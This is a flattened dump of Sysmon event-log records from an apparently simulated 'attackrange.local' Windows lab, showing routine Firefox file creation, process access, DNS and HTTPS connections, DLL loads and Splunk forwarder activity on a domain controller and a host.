AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58488- 23542300x800000000000000054502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.694{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.647{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B50A2BB01E4DCF8FB1FBEFA4FA7433A1,SHA256=C34A87D5AD8DDF32F6BAB7CF4F49A164EBAE3E485FDF506AFC453CFBD4F4B2AB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.632{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\ADMINI~1\AppData\Local\Temp\tmpaddon-76e359MD5=52CC80617272C98CF24BA460B3EFFBBC,SHA256=321B567B1DA6651152A89CAC5F35B6A86CC2C8245022C7E3697A5FF0AD8D397A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.616{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\ADMINI~1\AppData\Local\Temp\tmpaddon-5c4cecMD5=CD6937B7D9BEC7D4A61EB5E98CC7B9AE,SHA256=0850FF7E7C1848BF67DD40C2F36BA636FC7EA0F6F68E08590BE4E7C415A9A705,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.616{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\aborted-session-pingMD5=509FA71DA627850D7C73BA00A82BC743,SHA256=5E092A89311D0E8B00D2E0D11E3D6C07ADB90194B75AD56D3343C6E21039F11D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000054497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.594{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.594{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000054495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.594{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\session-state.jsonMD5=4C470433B42F54D076D0017158C3CF07,SHA256=1135ACD84A4E6407D0D98F1FA83133C042C67941A219909522B381DCD9290F92,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000054494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.579{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|UNKNOWN(00000272BD76C71F) 10341000x800000000000000054493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.579{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|UNKNOWN(00000272BD76C71F) 10341000x800000000000000054492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.579{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|UNKNOWN(00000272BD76C71F) 10341000x800000000000000054491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.579{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|UNKNOWN(00000272BD76C71F) 10341000x800000000000000054490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.579{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+1b66a7e|C:\Program Files\Mozilla Firefox\xul.dll+1d25fa7|UNKNOWN(00000272BD6E3E5F) 10341000x800000000000000054489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.579{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+1b66a7e|C:\Program Files\Mozilla Firefox\xul.dll+1d25fa7|UNKNOWN(00000272BD6E3E5F) 10341000x800000000000000054488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.579{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+1b66a7e|C:\Program Files\Mozilla Firefox\xul.dll+1d25fa7|UNKNOWN(00000272BD6E3E5F) 10341000x800000000000000054487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.579{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+1b66a7e|C:\Program Files\Mozilla Firefox\xul.dll+1d25fa7|UNKNOWN(00000272BD6E3E5F) 23542300x800000000000000054486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.163{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\ADMINI~1\AppData\Local\Temp\tmpaddon-76e359MD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.163{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\ADMINI~1\AppData\Local\Temp\tmpaddon-5c4cecMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017540Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:55.727{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9ECA6B8E3C08F2211F567B6E434037E8,SHA256=35392483EB39DFAF0E32780E1BF74BDCE2C3B309689554E35D56CD0CCD9D3DB6,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:53.889{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61991- 23542300x800000000000000054601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.678{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6EC5A050DCE402D3B17B9F0E68C51FE1,SHA256=FA32924DB0D36A00170489F4A9739336B0C444515B0DC121A86CE3316AA39C33,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017539Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:55.164{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 22542200x800000000000000054600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.133{7BD73061-728D-613B-560B-00000000F001}4776d34chcsvb7ug62.cloudfront.net0143.204.98.66;143.204.98.106;143.204.98.71;143.204.98.61;C:\Program Files\Mozilla Firefox\firefox.exe 23542300x800000000000000054599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.347{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4CDAF7231E8280143DCF08B7F015C3F9,SHA256=65394C100A397EB4CB8921F24E87A3C4B3EAB83971527064CB24930ED96B412D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000054598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:53.439{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63114-false143.204.98.61server-143-204-98-61.fra50.r.cloudfront.net443https 354300x800000000000000054597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:53.439{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63113-false143.204.98.61server-143-204-98-61.fra50.r.cloudfront.net443https 354300x800000000000000054596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:53.438{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61150- 354300x800000000000000054595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:53.425{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60912- 734700x800000000000000054594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.216{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeC:\Windows\System32\vaultcli.dll10.0.14393.4169 (rs1_release.210107-1130)Credential Vault Client LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationvaultcli.dllMD5=3A4413FEB384CA47420B1A7CB9099BF0,SHA256=338D718FF68D1ACF8AFC366E923B44128E821DDD50A9C282A5F55502BAF288FA,IMPHASH=E0B17C1B749544B11E7164BC8880263EtrueMicrosoft WindowsValid 734700x800000000000000054593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.216{7BD73061-6D0E-613B-8A06-00000000F001}3268C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\OneCoreCommonProxyStub.dll10.0.14393.2395 (rs1_release_inmarket.180714-1932)OneCore Common Proxy StubMicrosoft® Windows® Operating SystemMicrosoft CorporationOneCoreCommonProxyStub.dllMD5=02CEC1566FB0709923FF7A9FEC254D96,SHA256=81BED60AEB79C489E9F79996A3F0AB626E6CA247EBB656B6B9897C47A39F6AFB,IMPHASH=69A8B7E9F373278F52FE45A83CE3A380trueMicrosoft WindowsValid 734700x800000000000000054592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.216{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeC:\Windows\System32\OneCoreCommonProxyStub.dll10.0.14393.2395 (rs1_release_inmarket.180714-1932)OneCore Common Proxy StubMicrosoft® Windows® Operating SystemMicrosoft CorporationOneCoreCommonProxyStub.dllMD5=02CEC1566FB0709923FF7A9FEC254D96,SHA256=81BED60AEB79C489E9F79996A3F0AB626E6CA247EBB656B6B9897C47A39F6AFB,IMPHASH=69A8B7E9F373278F52FE45A83CE3A380trueMicrosoft WindowsValid 734700x800000000000000054591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.231{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000054590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.231{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\iertutil.dll11.00.14393.4467 (rs1_release.210604-1844)Run time utility for Internet ExplorerInternet ExplorerMicrosoft CorporationIeRtUtil.dllMD5=1D608361848C3A3AC56488995E8D0BB1,SHA256=D95DE5DBAD08E22CB0CFB9322220E752F16124C15867F7748E4D64795E400EBF,IMPHASH=BB80FB0B79AB68B9AA174726B09C8CE9trueMicrosoft WindowsValid 734700x800000000000000054589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.178{7BD73061-6D0E-613B-8A06-00000000F001}3268C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\TokenBroker.dll10.0.14393.4169 (rs1_release.210107-1130)Token BrokerMicrosoft® Windows® Operating SystemMicrosoft CorporationTokenBroker.dllMD5=9ECF3BE652A6FF4B5C4744697FDDABA2,SHA256=00DF6190CBF64C8840C1B9068A844D4A6584E6D82C8C6FD78CFDB10184F815C7,IMPHASH=F91C8ACC62DFD3D725FAC2A0CBB6AA8FtrueMicrosoft WindowsValid 734700x800000000000000054588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.216{7BD73061-6D0E-613B-8A06-00000000F001}3268C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\wtsapi32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Remote Desktop Session Host Server SDK APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationwtsapi32.dllMD5=D0DB3DD09FB2B4ADABF4E719FAFC4EB9,SHA256=8B7C056B5F4AB604ED5077A39C63CE1B5A34929DE76DA4A3C54D6E648D123BAB,IMPHASH=AD7CEB919D43FA2BD394EC803EB6BCDAtrueMicrosoft WindowsValid 734700x800000000000000054587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.178{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeC:\Windows\System32\tokenbinding.dll10.0.14393.2363 (rs1_release.180625-1741)Token Binding ProtocolMicrosoft® Windows® Operating SystemMicrosoft Corporationtokenbinding.dllMD5=8AD65F608FD6964085B365A43F8DBEA4,SHA256=E088353C88877763D4E5BB6EB7FB55C81908DF639A9AF89EECA546FD9EDB18DE,IMPHASH=EDBDD2E193CED10C0D380B250BFC13C5trueMicrosoft WindowsValid 734700x800000000000000054586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.178{7BD73061-6D0E-613B-8A06-00000000F001}3268C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\tokenbinding.dll10.0.14393.2363 (rs1_release.180625-1741)Token Binding ProtocolMicrosoft® Windows® Operating SystemMicrosoft Corporationtokenbinding.dllMD5=8AD65F608FD6964085B365A43F8DBEA4,SHA256=E088353C88877763D4E5BB6EB7FB55C81908DF639A9AF89EECA546FD9EDB18DE,IMPHASH=EDBDD2E193CED10C0D380B250BFC13C5trueMicrosoft WindowsValid 10341000x800000000000000054585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.216{7BD73061-6D0E-613B-8A06-00000000F001}32681904C:\Windows\System32\RuntimeBroker.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\TokenBroker.dll+1158a|C:\Windows\System32\TokenBroker.dll+d335|C:\Windows\System32\TokenBroker.dll+d669|C:\Windows\System32\TokenBroker.dll+1ff53|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+6203c|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde 10341000x800000000000000054584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.216{7BD73061-6D0E-613B-8A06-00000000F001}32681904C:\Windows\System32\RuntimeBroker.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\TokenBroker.dll+22ee6|C:\Windows\System32\TokenBroker.dll+114b3|C:\Windows\System32\TokenBroker.dll+d335|C:\Windows\System32\TokenBroker.dll+d669|C:\Windows\System32\TokenBroker.dll+1ff53|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+6203c|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d 734700x800000000000000054583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.214{7BD73061-6D0E-613B-8A06-00000000F001}3268C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\WinTypes.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Base Types DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWinTypes.dllMD5=9F209F29ABFF007F55328BCC36367005,SHA256=7F2CBE9B349062DFD782032D50C335E6C292EC5F509746941982A7161F24ED84,IMPHASH=58F905117CF0434AF54A7CD9D43EEF30trueMicrosoft WindowsValid 734700x800000000000000054582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.162{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeC:\Windows\System32\TokenBroker.dll10.0.14393.4169 (rs1_release.210107-1130)Token BrokerMicrosoft® Windows® Operating SystemMicrosoft CorporationTokenBroker.dllMD5=9ECF3BE652A6FF4B5C4744697FDDABA2,SHA256=00DF6190CBF64C8840C1B9068A844D4A6584E6D82C8C6FD78CFDB10184F815C7,IMPHASH=F91C8ACC62DFD3D725FAC2A0CBB6AA8FtrueMicrosoft WindowsValid 734700x800000000000000054581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 